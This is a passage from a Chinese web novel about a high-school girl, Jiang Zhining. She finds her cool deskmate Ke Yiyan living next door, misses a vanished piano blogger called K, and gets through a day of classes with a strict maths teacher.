他沉冷着脸，心情不太爽，本来都忘记韩辰这号人物了，拿起手机去看app登陆验证码的时候，发现韩辰还在电话那头喋喋不休。 服了，这人怎么还在啊？ “你怎么还没挂？”柯译衍不耐烦啧了声，嗓音毫无温度质问。 韩辰：“” 好好好，金主爸爸赶他走！ 韩辰翻了个白眼，语气不满嚷嚷：“奴才这就退下！” 柯译衍：“” 第17章 他对我挺冷淡的 “怎么这么久才回来？” 姜颖坐在客厅沙发上看电影, 余光瞄见姜织宁回来，随口问了嘴。 姜织宁一边换拖鞋，一边说：“因为发现是认识的人。” 女人一听这话, 立马挺直上半身，感兴趣追问：“啊？你们认识啊？” “认识, 同班同学。” 女人眼睛亮起来：“这么巧的呀！那他成绩怎么样，真是学霸吗？” 姜织宁想了下, 保守地说：“很好，听说年纪前几。” “在江中本部排名年纪前几？”女人愣了下, 很是吃惊地说, “哎哟, 隔壁小孩这么优秀的呀！” 尽管中介说是学霸，但姜颖一直以为是中上水平, 毕竟江中是公认top级别的重高。 能考进江中，尤其是考进本部的学生, 那都不可能差到哪里去，在外人眼里看来, 江中就是大小神仙打架，学霸的代名词。 就连蔡从这种, 经常被亲爹痛斥为家族之耻, 不学无术, 整天只知道玩游戏, 排名永远倒数的学渣，不知情的人真以为他是学渣, 结果每次考试成绩出来后, 居然也有六百多分。 绝对是背后要被人猛翻白眼，遭人痛骂装逼犯遭雷劈的程度。 姜织宁笑了笑, 去厨房洗干净手，和姑姑打了声招呼：“我先回房间了。” “好，别学太晚，早点睡觉啊。” “知道了。” 姜织宁关上房间门，坐回书桌前。 周静瑶听到动静，凑近摄像头，大声说：“回来啦，干嘛去了，这么久才回来。” 姜织宁挪了挪平板位置，看向屏幕：“给邻居送爱心。” “什么意思哦，才搬来第一天就去送爱心啊？” 姜织宁摆摆手：“这个不重要，你猜我对面住着谁？” 周静瑶做思考状：“除了我知道的那几个熟人，能让你主动说起的，该不会是柯译衍吧？” “” 福尔摩斯啊她，要不要猜这么准。 见姜织宁一副无语状态，周静瑶震惊睁大眼，拔高嗓门吼了句：“我去，真是他？？？” 姜织宁点点头。 周静瑶刚要回应，一道男声插了进来。 “什么邻居，在说谁？” 蔡从打完一盘游戏，摘下耳机，懒散靠到椅背上，他左手捞起桌角的矿泉水，拧开盖子，一边喝一边看着手机屏幕。 姜织宁、周静瑶、蔡从等人有个叫“疯人联盟”的微信好友群，周静瑶是群主，群里人不多，男女都有，全都是相处多年，知根知底，一群很有个性的真好友。 大家都是态度鲜明、特立独行、叛逆疯狂、精神状态美丽前卫的“麻烦制造者”，所以全员通过，一致投票群名为—— 疯人联盟。 由于群员分布全国各地，还有人在国外，所以大家经常开视频群聊，在视频里讨论各自作业、分享生活、闲聊侃大山、吐槽八卦之类。 周静瑶被蔡从突然打断，有点不爽，瞪他一眼，不太客气地说：“女生聊帅哥，男生别插话，玩你的游戏去。” “稀罕。”蔡从表情不屑。 姜织宁笑起来，顺势问：“蔡总，你手机不是被没收了吗？” 蔡从：“备用机啊。” 姜织宁：“厉害，所以你备用机到底有几个？” 蔡从哪知道这些，无所谓地说：“不知道，没了再买。” 姜织宁调侃他：“等你毕业后去领手机，到时候班主任直接递给你一个箱子，全是你的。” 蔡从笑了下：“很有可能。” 他说完这话，人站起来离开屏幕，不知道干嘛去了。 周静瑶不关心蔡从去向，回到原来话题，冲姜织宁感叹一句：“你和柯译衍这是什么缘分啊，一天之内集齐同校、同桌和邻居，你俩太有缘，可以召唤神龙了。” 姜织宁左手慵懒拖住脸颊，若有所思地说：“也不一定是有缘吧，我刚才替姑姑过去送水果，感觉他对我态度挺冷淡的，嗯，准确来说，他今天就没有热情过。” “啊难道是因为怕你看出他在EQUA兼职？” “不知道哎，有这个可能性。” “哎等会儿！”周静瑶忽然想起一事，疑惑说，“你租的那个小区好像是柏风地产开发的，柏风的楼盘都很贵，柯译衍都住这儿了，还用去EQUA兼职吗？不应该家境不好吧。” 姜织宁回：“他也是租这里。” “你那小区可是重小学区房，租金也不便宜啊。” “估计家里舍得吧，毕竟高中三年很重要。” “说得也是，有些家长还会专门租房过来陪读。” 姜织宁又问：“柯译衍态度这么冷淡，周导，你说他是不是对我有什么想法啊？” “什么想法，难不成柯译衍喜欢你？”周静瑶低头鼓捣着手机，一边查看相册，一边随口胡扯，“因为不想被你看出来，所以故作冷淡？” “故作冷淡，这是在干嘛，和我演戏吗？”姜织宁被逗笑，眉眼弯弯说，“小姜已经退圈了，不会搭戏的。” 周静瑶见怪不怪地说：“什么干嘛，按照剧本，肯定是因为暗恋你才这样啊。” 柯译衍暗恋她？ 姜织宁完全不信这套天方夜谭说法。 姜织宁不太理解：“才见过几次面就暗恋我，这是什么逻辑？” “不是，朋友，”周静瑶抬头看向屏幕，脸上满是无语，“你是不是对你女娲毕设级别的美貌有什么误解？对你的校花身份有什么误解？那什么一见钟情、暗恋这种，发生在你身上不是很正常吗？！” 姜织宁哦了声，不以为意地说：“柯译衍长得也不差，人俞杨说了，暗恋他的迷妹可以绕学校三圈。” “哎哟，俞杨那张嘴，吹牛不打草稿！”周静瑶表情意味深长，“还有，你干什么啊，这就替你同桌说话啦？” “我只是长了双发现美的眼睛，实事求是，真诚赞美他身上的优点好吗。”姜织宁换了个坐姿，直言道，“别乱讲了啊，严肃点，我刚指的是，他可能对我有什么不满意见。” “哦，那确实也有这个可能。“周静瑶认真想了想，点头同意，“毕竟有种说法叫——王不见王。” “才搬来第一天就这样，”姜织宁突发奇想，蹙眉问，“周导你说，以后我和柯译衍，会不会邻居关系不和谐啊？” 周静瑶镇定安抚她：“这个不怕，到时候你去买面镜子。” “干嘛用的？” “挂在大门上。” “啊？这什么东西？” “玄学斗法。” “” 姜织宁眼神麻木，有被无语到。 “哈哈哈哈，我认真的！”周静瑶嬉皮笑脸，“刚才我妈还和我爸说呢，说我家楼下两位邻居可逗了，之前在业主群里吵完架后，一个回去在大门上挂镜子，另一个立马跟着挂红色剪刀，今天两边已经各自贴上符纸，玄学大斗法呢，简直笑死我！” 姜织宁：“睡了，拜拜” 周静瑶止住笑，连忙说：“哎等会儿，等会儿要么你去K那边，许个和平共处的愿望？这博主老灵了！” “他都多久没上线了。”姜织宁撇了撇嘴，“早就弃号了吧。” “上了啊，刚才还偷偷摸摸上线了，我有看到他的在线图标亮起来。” “真的假的？那我待会儿去看看，先下了啊，你也早点睡。” “好，拜拜啦。” 姜织宁抬手关掉视频，起身去卫生间洗漱，然后按灭房间大灯，保留床头灯，捧着手机躺进被窝里。 她打开音乐app，点进关注列表里一名叫K的音乐博主，特意瞄了眼头像，是下线状态。 她点开博主的账号主页，上下滑看歌单，发现还是原来上传、收藏的那些歌曲，没有任何变动。 这么看的话，估计是博主登错账号了？ 除了各国流行音乐，姜织宁在音乐app里，单独创建了一个几乎每天都会播放的纯音乐歌单，这个歌单专门用来收藏各种纯音乐，其中包含了多首音乐博主K所弹奏的钢琴曲。 姜织宁有个小众爱好，就是特别喜欢听纯音乐。 并不止于钢琴曲，她还会收藏很多流行歌曲、影视动漫游戏原声的伴奏版，二创版，甚至觉得某些伴奏版比原曲更好听，能品出完全不一样的韵味。 她关注音乐博主K的契机很偶然。 那时候，姜织宁听完天才音乐制作人匡也的单曲《想你时是雨天》，觉得歌很不错，便去音乐app里搜索二创钢琴版。 作为大热单曲，《想你时是雨天》横扫各大音乐榜单第一宝座，一度被网友封为下雨天必听神曲，所以用钢琴、吉他、琵琶等乐器二创翻奏的音乐博主格外多。 姜织宁口味挑剔，一首首听下去，最后发现有位叫K的音乐博主翻奏的钢琴版特别好听，而且很有创意地加了点自己的小改编。 她果断点下收藏，同时抱着好奇心理，浏览起K的账号主页。 主页信息很少，只显示性别男以及音乐人的身份，头像是纯白底色，中间印了个黑色大写的英文字母K，没有任何营销信息，看着像是私人账号。 她又去翻看他的歌单。 好家伙，这一点进去就不出来了。 花了一下午时间，她极有耐心地听完K上传的全部纯音乐作品，以及他创建的部分流行音乐歌单，最后愉悦得出结论—— 她找到了一位品味非常相似的宝藏音乐博主！ 最初关注K的时候，他粉丝并不多，也就一千出头，估计都是和姜织宁一样，喜欢听纯音乐的小众爱好者。 那时期的评论区留言都是些—— 博主能不能分享下琴谱，跪谢！ 求琴谱！求琴谱！ 可以翻弹一下动漫主题曲XXX吗？ 这是加了自己的改编吧？真心太牛了！ 啊啊啊啊啊！钢琴版的XXX太好听了！完全不一样的感觉！ 钢琴翻奏里就属你最牛！ 好听好听，设为闹铃了！ 特别特别喜欢博主的音乐，无论是翻奏还是原创，震撼澎湃、慵懒随性、华丽浪漫每一首曲风都很有自己的特色！真的太棒啦！！！ 这种很正常的评论。 姜织宁一向不怎么看评论区，所以K突然走红的事，还是周静瑶告诉她的。 除了二创翻奏，K陆续上传过一些原创钢琴曲，曲名极其简短，比如Hope、Dark、Spring、Life、Season 曲子时长不一，有几十秒，也有几分钟，全凭博主个人兴致。 据周静瑶说，起初是因为某位网友在Hope这首曲子的评论区里夸奖了几句，说听得内心热血向上，充满希望和干劲，夸奖的同时，网友顺带许了一个学业方面的愿望。 没想到，无心插柳柳成荫，不久后，网友的愿望居然实现了。 网友很是吃惊，但又将信将疑，觉得是意外，不过最后还是抱着敬畏心理，跑去Hope的评论区，再次许了个愿，没想到事后愿望又成了。 网友不信邪，如法炮制了几次许愿大法，尽管不是每个愿望都实现了，但这成功比例依然让网友感到相当震惊！不明觉厉！ 这位网友疯狂跪谢K的同时，化身自来水，在网上到处安利K，让大家快来K这里许愿，说特别特别灵，尤其是Hope这首纯音乐。 人嘛，都有从众心理，本着宁可信其有不可信其无的道理，不少人刷到网友安利后，便摸过来许愿试试看。 这种事情显然就是概率问题，和上寺庙拜佛一个道理，肯定有人觉得灵，有人觉得不灵。 在那群认为灵验的网友不断安利下，K被冠上了“有点东西”的魔法标签，粉丝量随之一路疯涨，现在已经快要突破五十万大关。 当时姜织宁听完周静瑶科普，不解问：“这个有点东西，是什么意思？” 周静瑶：“魔法。” “哈？” “又名玄学。” 姜织宁觉得很魔幻：“他不就是个音乐博主吗？什么时候和魔法沾上边了？” “人家突然多个副业不行啊？”周静瑶老神在在地说，“这种就是高人好吧，把魔法融入音乐里，你也可以去试试看，说不定能成呢，我看评论区里很多人都说灵。” 姜织宁：“” 起初，莫名其妙的涨粉并没有引起K的注意。 其实他的个人音乐作品并不多，基本都是早期上传的，后面都没什么动静。 估计是后期涨粉速度实在太夸张，评论区和私信里又总是出现奇怪文字，这位音乐博主终于后知后觉意识到不对劲。 一段时间后，从没发过个人动态的K突然发了条动态。 【K】：？ 隔几天，他又发了条。 【K】： 过几天，发出最后一条。 【K】：相信科学，反对迷信。 之后再无动静，连他收藏流行音乐的那几个歌单都停止增减，没动静了。 所以姜织宁觉得，这位音乐博主绝对是弃号不用了 她在被窝里翻了个身，盯着那条相信科学反对迷信的无奈动态，长长叹了口气。 哎，也不知道这位博主会不会回来。 姜织宁并不关心玄不玄学，她在意的是，宝藏产粮人突然消失，并且没有留下任何信息，这才是真的愁人 痛失精神好粮的愁人。 实话讲，K的那些音乐确实如网友所言，触动心灵，带来愉悦美好，让人心生希望与力量。 手术后，姜织宁睡眠质量始终不太好，至今为止，她一直保持着睡前聆听K弹奏的钢琴曲，从而帮助催眠的习惯，就连手机闹铃也是他弹的曲子。 可以说是真爱粉一枚了。 关灯睡觉之前，姜织宁忽然想起周静瑶提了嘴看到K在线的话。 她犹豫片刻，斟酌措辞，抱着试试的想法，点开消息页面，给K发了两条私信。 【Ning】：博主你好，关注你很久了，也一直非常喜欢你的原创、翻奏作品，想和你说一声谢谢，那首Spring对我的睡眠障碍帮助非常大。[鲜花][感谢][星星眼] 【Ning】：另外，有注意到你的歌单很久没更新了，请问你是不是换账号了呢？[好奇][愉快] 第18章 你同桌怎么了？ 隔天一早, 手机闹钟准时响起。 时隔已久的早起生物钟实在让姜织宁不太习惯，她眯眼关掉闹钟，困倦打了个哈欠, 继续翻身睡觉。 十分钟过后，闹铃再次响起。 与此同时, 刘阿姨过来敲门提醒，她才不情不愿坐起来。 睡眼惺忪, 姜织宁左手揉着沉重眼皮，右手拿起床头柜上的平板, 先打开英语广播, 接着穿鞋下床, 拿上平板进卫生间，一边练听力, 一边洗漱。 今天是姜织宁休学之后第一天正式上学，姜颖当然要陪着早起。 女人本想很有仪式感地送宝贝侄女上学, 但姜织宁一看到姑姑浓重的起床气，还有那张挂着醒目黑眼圈, 哈欠连天，同样困倦至极的臭脸, 便直接拒绝了长辈好意。 姑姑自己就是公司老板, 所以上班时间比较灵活, 像今天这样六点多就爬起来吃早餐, 实在是太为难她，因此姜织宁觉得, 都是自家人, 就别搞什么仪式不仪式的了。 她劝道：“姑姑吃完早饭就回去补觉吧。” 姜颖一听这话，也没客气, 爽快点头同意。 毕竟她昨晚加班到凌晨两点多才回房间睡觉，没睡一会儿就起床了，身心是真的累。 姜颖、姜织宁这对亲姑侄从小关系就很亲密。 自从父母在上小学时意外去世后，姜织宁大部分时间都是和姑姑一起生活。 姜颖是老来女，今年也才30岁，和亲哥哥，也就是姜织宁爸爸温柔有礼的性格完全相反，她本人高傲毒舌，脾气火爆，从小就很叛逆倔犟。 姜颖完全没有做父母的经验，自己也不喜欢拿捏长辈那套架子，和姜织宁名义上是姑侄辈分，实际两人相处氛围更像是姐妹，甚至有时候和侄女比起来，姜颖的脾性更像是又吵又闹的小朋友。 而在照顾小朋友这件事上，姜颖早些年总犯迷糊，比如—— 去开家长会时，莫名其妙跑错学校。 说好去接姜织宁放学，结果临时给忘了，最后姜织宁等不到人，只能背着书包一路吭哧吭哧独自回家。 中途停车买东西的时候，直接把姜织宁遗落在马路边，车开出去很久之后才发现侄女没上车。 非要给姜织宁露一手厨艺，结果豆角没炒熟，害得姜织宁上吐下泻食物中毒，连夜送医院。 诸如以上之类的离谱事件。 不过现在倒是靠谱多了。 当然，别看姜颖昏昏欲睡的，其实姜织宁也没有清醒到哪里去。 吃早饭的时候，太困了，姜织宁全程木着张脸。 少女右手机械舀着碗里的小米粥，平板被她支在餐桌上，播放着英语广播，还没听一会儿，她就困得忍不住点击退出，迅速找了首轻松欢快的流行歌醒醒神。 “这么困啊？”姜颖左手托着下巴，看着姜织宁，表情心疼中带着几分好笑。 姜织宁沉重点了点头：“嗯，真的很困，感觉眼睛闭上就能睡着。” 姜颖作为过来人，同情安慰：“我的小可怜哎，再努力坚持两年啊，等高考后你就解放了。” 吃完早饭，姜织宁把装中药的保温杯放进书包里，塞了几包零食，然后拎起书包和姑姑打了声招呼，换鞋出门。 小区距离学校很近，走路大概十五分钟左右，姜织宁到达班里时，时间尚早，早读还没有开始。 这个季节天亮得早，灼热艳阳高挂天空，明亮阳光穿透教室玻璃窗，被分割成大片几何体，落到排排桌椅上。 高二一班气氛格外热闹，像飞进一群叽叽喳喳，倾诉欲十足的小鸟，教室里充斥着名为青春的蓬勃生命力。 放眼望去，有人在埋头吃早饭，有人手拿零食满教室乱飞，还有人偷偷玩手机、疯狂补作业、到处对答案、趴着补觉、围聚闲聊，干什么的都有。 讲台桌那边也没闲着，两名男生正在讲台上激情打乒乓球。 姜织宁走向座位，顺势瞥了眼同桌，空空如也，人还没来，她放下书包看向前排，俞杨忙着埋头苦抄作业，另一位在睡觉。 眼看前桌睡得正香，受到传染，唉她瞬间感觉精神又开始萎靡不振了。 早读课正式开始之前，课代表要过来收作业，姜织宁把要交上去的试卷全部拿出来，连带着从家里拿来的芝士蛋糕，一起递给周静瑶。 “作业帮我交一下，太困了，我要趴一会儿。” 周静瑶接过来，边吃早饭边比了个OK手势。 七点四十，早读课正式开始。 小鸟们赶在最后一秒飞回各自位置，拿出语文课本自由朗读起来。 刘彬如同往常般，从班级后门走进来巡视。 他从最后一排开始，慢慢往前排扫视上去，目光经过姜织宁的时候，忽然停了下来。 女生头枕手臂，伏身趴在桌面上，整个人一动不动。 刘彬愣了愣，心里紧张起来，连忙快步走上前，刚想关心一句，就看见柯译衍和另外两名男生一起从后门走进来。 柯译衍回到座位，刘彬却不让他坐，同时抬手指向姜织宁，严肃质问：“你同桌怎么了？” 柯译衍被问得愣了秒。 他困惑放下矿泉水，垂眸盯着姜织宁，无言看了几秒后，扭头目视刘彬，冷静表示：“我刚来。” 潜意思是，他怎么知道？ “所以呢？”刘彬瞪着他，恨铁不成钢的谴责眼神。 班主任脸上露出一副“我之前交代过你什么？这才一天过去，你同桌就成这样了？哎呀你这真是错付了老师对你的信任！”的失望表情。 柯译衍：“” 四目相对，沉默数秒后，柯译衍轻叹了口气，无奈妥协说：“现在问。” 他拉开椅子，左手反撑桌沿，稍稍俯身靠近姜织宁，右手曲指，不轻不重地在少女耳边敲了敲，喊她名字。 其实两人站边上说话的时候，姜织宁已经半醒过来，但不知道怎么回事，就和鬼压床似的，她整个人被困在迷雾沼泽里，无法动弹，眼皮彷佛被灌了千斤重，怎么使劲也睁不开。 意识挣扎间，忽然听见有人喊她名字，嗓音低沉悦耳。 那声音，好似迷雾中有人及时伸来一只遒劲有力的手，紧紧牵住她手腕，将她从梦魇中猛然拽回现实世界。 眼睫颤动，姜织宁缓缓睁开眼，身体一动不动保持趴着的姿势，慢吞吞扭头看向柯译衍。 少女漂亮眼眸里蕴含着湿润水光，水汪汪的，充满刚睡醒的懵意，目光人畜无害，毫无攻击性，就这么安静柔软地望着少年。 目光交汇，临到嘴边的话忽地停顿住，柯译衍莫名走神想起昨天晚上，他打开大门的那一瞬间，姜织宁也是眼前这幅安静模样，茫茫然地望着他。 走神的同时，脑子里有道理智声音响起，提醒着他—— 别想太多。 柯译衍垂下眼，再次抬眸看向姜织宁的时候，目光已经恢复至毫无情绪的冷淡状态。 他淡声提醒：“老师来了。” 少年身型高大，遮挡住大片视野，这会儿又是俯身完全罩住她的姿势，姜织宁歪了歪脑袋，才瞧见瘦矮的刘彬站在后头。 “哪里不舒服？”柯译衍问，同时快速扫了眼她的脸色，没看出什么异常来。 “啊没有，睡过头了。”姜织宁揉着眼睛，坐直身体，很没心眼地实话实说。 一脸担忧的刘彬：“” 柯译衍也没想到她会这么说，顿了下，微微挑眉。 他慢悠悠坐下，顺势看了眼刘彬，语气里带着一丝不着调，淡定说：“刘老师，放轻松啊。” 刘彬：“” 什么放轻松，放什么轻松！ 这叫不怕一万只怕万一好吧！ 想了想，刘彬还是有点不放心，关心道：“是不是晚上在家里学习的太晚了？” 呃 是晚睡，但不是因为学习晚睡 姜织宁沉默三秒，最后选择严肃点头，柯译衍看她丝毫不心虚地说了声对，唇角不着痕迹地弯了弯。 离开之前，刘彬操心叮嘱姜织宁：“这才高二刚开学呢，不要给自己这么大压力，千万要注意劳逸结合。” 姜织宁认真脸：“好的刘老师。” 第一节是语文课。 刘彬吩咐坐窗边的同学拉上窗帘，随后打开投影仪播放起短片，要求众人课后写一篇鉴赏。 窗帘紧闭，教室里光线昏昧，让人昏昏欲睡的催眠氛围。 姜织宁左手支着下巴，神情呆滞盯着前方，直到短片播放结束，她依旧保持这幅姿势，麻木盯着黑板。 刘彬在黑板上写完一首宋诗宿千岁庵听泉，转身提了个问题，视线往讲台下扫去时，一眼注意到姜织宁目光笔直冷静地盯着他。 刘彬会意，笑眯眯点名姜织宁回答，点完名，女生却毫无反应，刘彬又喊了一次。 柯译衍侧目瞥了眼，就见姜织宁像座雕像似的，一动不动，看似认真听讲，其实在深度神游，那演技可谓炉火纯青。 她不会是在睁眼睡觉吧？ 柯译衍面无表情心想，很有这个可能。 她再这么没反应下去，估计等会儿刘彬又要责问他—— 你同桌怎么了？ 没多想，柯译衍直接拿笔敲了敲桌面，低声喊人：“姜织宁。” “啊？”姜织宁无比迟钝地眨了下眼睫。 “站起来，分析黑板上刘克庄的诗。” “哦” 姜织宁慢吞吞起身。 等她回答完坐下，柯译好笑看她一眼，难得主动开口闲聊问：“送完水果就去做贼了？” “那倒没有。”姜织宁揉着眼睛，叹了口气，没精打采地说，“只是睡觉之前，花了点时间怀念喜欢的博主。” “怀念？”柯译衍语气自然地说，“去世了么？” “啊？？？”她愣了下，扭头看向柯译衍，眼中充满不可思议。 人家好好的，怎么就突然去世了 “别乱讲啊，人家只是暂时消失而已。”姜织宁语气不满，一副维护态度，说完还特意强调了句，“会回来的！” 柯译衍笑笑，敷衍嗯了声。 姜织宁以为这场困意会持续一整天，没想到第二节数学课，她就彻底清醒了。 比起语文老师温和的脾气，数学老师何叶军就完全相反了。 何叶军是江中颇有名气的资深教师，教学质量很高，由于长相威严，脾气火爆，讲话不留情面，教风极其严厉，所以私底下被学生们尊称为五毒教教主。 没人敢在他的课堂上开小差。 姜织宁早有耳闻教主大名。 江中校风自由开放，虽然学生自控自学能力高，但也会滋生出一些小毛病，何叶军经常毒舌，主要就是因为看不惯某些学生作风散漫，总是自我感觉良好的小毛病，所以喜欢挫一挫少年人的锐气，否则这群家伙压根不知道天高地厚。 五毒教教主骂人全凭心情，考不好要骂，考得好也要骂，反正总能让他找出看不惯的点。 上课铃声一响，何叶军还没走到班门口，班里轻松气氛早已转为严肃状。 众人像是击鼓传花似的，互相提醒着—— 教主来了！教主来了！ 随后，何叶军带着一摞试卷走上讲台。 见状，有人小声说了句：“我靠发试卷，完了完了完了！教主要开始骂人了！” 果不其然，何叶军脸色微沉，开始发起上周周测的试卷。 “于佳，99！上次也是99，多考一分不行吗？干什么，100烫脚啊？能不能上三位数？下次再考两位数的话，直接来我办公室！” 于佳灰溜溜上前接过试卷。 何叶军接着往下报。 “赵阳阳，100！总分是150，不是100，退步很明显！你小子下课来我办公室！” “朱婷，121！也不行啊，最后大题只写了一行，解去哪里了？我有没有说过解就是一分？！” “俞杨，85！上课继续开小差好了，我都懒得批评你，学习有没有用功，全体现在分数上，你好自为之吧！” 高压气氛之下，整个班人人自危，大气不敢喘一声。 不过，幸好何叶军只报了二十来人，剩下的试卷直接大手一挥，让课代表发下去。 趁着发试卷时间，何叶军板脸拍拍桌子，老生常谈起来：“和你们说过很多次，不要以为在江中读书，就觉得自己半只脚踏进名校了！人外有人，山外有山，外面比你们厉害的同龄人多了去！” “看看这次的考试分数，根本没法看，不过如此！就算把你们丢到普高去，那也是泯然众人的程度！以后态度都给我端正起来，眼高手低的毛病改一改好吧！” 这次的周测是在姜织宁报道之前进行的，所以她幸免于难，没有挨批，等柯译衍拿到试卷的时候，她好奇凑过去瞄了眼分数，141。 何叶军偏爱出难度高的题，因此141分已经算是相当不错的高分，但柯译衍还是被教主顺带着嘴了两句。 挨骂内容和考试也没有直接关系，就很无辜。 不过柯译衍倒是面色如常，显然早已习惯五毒教教主的阴晴不定。 姜织宁没试卷，何叶军叫她看同桌的，她便稍稍起身，拖着椅子，往柯译衍身边挪了挪。 一股淡淡的水蜜桃甜香若有似无钻入鼻尖。 柯译衍顿了下，瞥了眼少女主动靠近的小动作，想都没想，迅速垂眼扫了遍错题，然后直接把试卷推给姜织宁看。 “你不看吗？”姜织宁奇怪问。 柯译衍平淡回：“不用，记得住。” 姜织宁也没跟他客气，真诚夸了嘴：“这么厉害啊，谢谢。” 上午四节课一晃而过，中午放学铃声一响，周静瑶拖着姜织宁直奔学校食堂。 校食堂味道不错，是毕业后还会怀念好吃的程度，除了人多排队久，其他没毛病。 今天的菜系就很棒，有姜织宁喜欢的番茄牛腩，还有久违的极其抢手的葱花肉。 食堂里人山人海，两女生赶到的时候，蔡从他们已经吃的差不多了。 蔡从懒散抱臂，后靠着椅背，早已懂事帮忙打好饭，瞄见姜织宁她们过来后，慢吞吞起身让出座位。 “谢了啊，蔡总。”姜织宁笑眯眯坐下，双眼放光看向葱花肉。 蔡从懒洋洋挥了挥手，一副事了拂衣去，深藏身与名的不在乎样。 为了避免下午犯困，午饭吃完后，姜织宁走去校外买了杯柠檬桂花乌龙茶，点单时，顺手给蔡从点了杯饮料，毕竟没有他就没有葱花肉。 高三生在另外一幢教学楼，去送饮料的路上，姜织宁迎面碰见柯译衍和俞杨。 俞杨眼睛一亮，主动打了声招呼：“宁王，干嘛去呢？” “给人送东西。”姜织宁抬起手，示意了下手里的饮料。 柯译衍平淡瞥了眼饮料和不远处的高三楼。 “那边不是高三教室吗？”俞杨停在原地，自言自语望着姜织宁远去的背影。 他仔细想了想，忽然惊道：“啊等会儿是不是给那位蔡总送的？昨天我给你送巧克力，今天我给你送奶茶，呃果然是青梅竹马，感情这么好，你说这是不是——” 他回过神来，发现柯译衍早已无情走远了。 俞杨愣了愣，骂骂咧咧抬脚追上去。 “哎衍神” “你走这么快干嘛？？？” “就顾自己走，也不说一声，有没有义气啊！” “靠，你这个冷酷无情的人，给我等一下！！！” 第19章 双A组是有点看头～ 下午第一节是英语课, 上午交上去的英语作业已经批改好，由班长在课前发了下来。 英语老师姓乔，一张口就是标准的英伦腔, 是位穿着打扮和举手投足都很优雅的女士。 快要下课的时候，乔老师特意点名姜织宁, 先是笑眯眯表扬了下她写的英语作文，说是可以称之为优秀范文的程度, 接着，让她站起来朗读一遍。 姜织宁口语流利出色, 有节奏地念完。 等人坐下后, 乔老师对她说：“待会儿下课之后, 你就去把作文贴到后面小黑板上。” 姜织宁点头说好。 乔老师交代道：“大家都抽空去看下姜织宁同学的作文，哦对了, 我们班的英语课代表还没选是吧？那就姜织宁吧。” 姜织宁：“” 啊？ 猝不及防，不是老师她完全没有要做课代表的想法啊 乔老师并没有接收到姜织宁充满迷茫的注视, 并且打心眼里对自己亲自挑选的课代表很满意，下课铃一响, 这位女士便微笑拿起书本，步伐优雅地走了。 与此同时, 宣传委员于佳欢快跑到姜织宁身边, 笑眯眯对她说：“宁王, 我们要出黑板报！” “所以？”姜织宁有种没好事的预感。 “英文黑板报。” “” 姜织宁转过身, 看了眼教室后排空空如也的黑板，面无表情回头, 心里不是很开心, 因为刚上任就来活。 于佳单手叉腰，嘿嘿一笑：“本来我还在愁没有英语课代表呢, 天降甘露，这下总算有人帮忙啦！” “什么主题啊？” “这个没规定，老师说自由形式自由发挥，待会儿活动课的时候我们一起讨论下？” 姜织宁无奈叹了口气，点点头。 下午最后一节是自由活动课，除了几个留在班里写作业看书的卷王，其余小鸟全都迫不及待飞向各自的社团活动。 教室里，又长又轻的纯白纱帘在徐徐微风中飞舞，白日明亮到刺眼的艳阳悄然退去。 临近傍晚，金乌半坠，整座校园被蜜糖色的融融光晕笼罩着，充满欢声笑语，青春气息满满。 姜织宁和于佳站在教室后排，讨论着黑板报主题。 “我觉得字不要太多，密密麻麻挤一起很难看。” “我也觉得，谁要看那么多字，很丑。” “我们黑板报要评比吗？” “这次不评，所以彬彬说自由发挥就行。” “那就偏艺术风，类似这种风格怎么样？” “可以呀，这样好好看！” “不过这种画面比较多，我画画不行。” “没事，我负责画，到时候叫人帮忙就行！” “好，那我来写文章。” 最后，两个人商量出保护海洋环境的主题，姜织宁负责文字内容，于佳负责画画。 高效率确认好大致构图后，姜织宁搬了把椅子靠墙边，人踩到椅子上，按照构图，先用粉笔简单划分出各自负责的区域。 于佳一屁股跳坐到课桌上，看着手中草图，若有所思地说：“得再找一位美术好的同学帮帮忙。” “柯译衍。”姜织宁下意识建议。 “啊？”于佳愣了下，好奇问，“衍神美术很好吗？” 好像没人提过呀。 宁王怎么知道的？ 另一边，姜织宁说完就后悔了。 她冲自己翻了个白眼，忍不住在内心自我吐槽。 晕死，她这维修过的脑子是怎么回事啊，怎么就不听话呢？这会儿倒是转得飞快，怎么一到学习做题时就经常卡壳死机啊？ “也没有——” 静默片刻，姜织宁快速想好说辞，一边说着，一边向右转身解释。 她忘记注意看脚下位置，导致转身时无意识踩到椅子边缘，椅子受力不均匀，隐隐有翘起倾翻之势。 于佳余光注意到，连忙跳下桌，喊了声：“哎！小心脚——” 话还没说完，眼前闪过一个人影。 等于佳反应过来时，柯译衍已经用力按住椅子翘起的那一边，右手稳稳托住姜织宁背部。 姜织宁吓了一跳，不是因为椅子，而是因为眼前突然出现的人。 她愣了好几秒才回神，诧异看着少年说：“你怎么来了？” “站中间来。”柯译衍垂眸盯着姜织宁的鞋子，答非所问。 直到她站好，他才收回手，平静抬眸看向她：“不是你叫我？” “”姜织宁哑口无言，好半天，才憋出一句，“然后你就从球场飞过来了？这是什么魔法，阿拉丁神灯显灵么？” 坐教室后门口的男生被逗得哈哈笑出声，一边笑，一边帮忙解释：“衍神刚才就站在门外，你们没注意到。” 姜织宁：“哦” 柯译衍：“叫我什么事？” 姜织宁：“嗯没事。” 柯译衍望着她，挑了下眉。 姜织宁：“ ” 于佳双眼洞若观火，紧紧盯着眼前的双A组。 她双手环至胸前，重新跳坐到课桌上，慢悠悠地说：“衍神啊，宁王刚才说你美术好哎，真的假的？” 柯译衍：“？” 姜织宁：“ ” 放屁，她没说。 下一秒，姜织宁心里开始担心—— 要死，柯译衍会不会因为于佳的话，顺势察觉出她已经知道他在EQUA兼职的秘密？ 柯译衍一动不动，像尊大佛似的堵在眼前，平静等个解释。 沉默几秒后，姜织宁拿出曾经的优秀演技，镇定从容注视着少年，面不改色地说：“对啊，早上数学课，我不是看了你的试卷吗，发现你几何图画得很标准，就感觉你的美术功底应该不错。” 说完后，还不忘表情无辜，反将他一军：“有什么问题吗？” 无懈可击的完美逻辑。 姜织宁想给自己鼓掌。 就在这时，外头传来一道呼唤声。 “宁王——” 姜织宁转头望去，是余诗，女生微笑冲她挥了挥手，估计是过来问街舞社的事。 天降救星，姜织宁立马朝余诗热情笑起来，然后冷静回头，对柯译衍表示：“你走吧。” 柯译衍：“” 姜织宁踩下椅子，头也不回地离开。 柯译衍没说什么，目无情绪垂下眼，把椅子180度调转方向，让椅背靠住墙面，这样站在上面的人重心会更稳，随手做完这一切，他才回到座位拿出忘带的手机，不紧不慢离开教室。 于佳旁观整个过程，默不作声笑了起来。 刚才姜织宁突如其来的霸气反问，都让她觉得气氛有那么点紧张了，而现在这么一看，她又忽然感觉—— 